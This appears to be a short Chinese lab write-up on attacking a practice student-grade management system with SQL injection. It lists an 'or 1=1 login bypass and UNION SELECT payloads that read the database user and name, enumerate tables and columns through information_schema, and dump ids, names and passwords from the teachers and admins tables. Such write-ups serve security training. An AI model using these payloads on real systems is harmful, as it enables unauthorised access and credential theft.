靶场grade;学生成绩管理系统;小熊信息;SQL注入; | 您所在的位置:网站首页 › 园丁邦学生成绩查询 › 靶场grade;学生成绩管理系统;小熊信息;SQL注入; |
1、搭建好靶场,这里是靶场内容 grade.zip - 蓝奏云文件大小:274.6 K| 3、试一下万能密码和账户,登陆成功 1’or 1=1 -- + 1’or 1=1 -- + 4、这里查到号码
5、这里查到用户名 'union select user() #
6、这里查到数据库 'union select database() # 7、 修改输入限制长度 ' union select table_name from information_schema.tables where table_schema = database() # ' union select table_name from information_schema.tables where table_schema = 'grade' #
8、爆字段 ' union select column_name from information_schema.columns where table_name = "admins"#
9、爆数据 ' union select group_concat(id,name,pass) from teachers #
' union select group_concat(id,name,pass) from admins #
|
CopyRight 2018-2019 实验室设备网 版权所有 |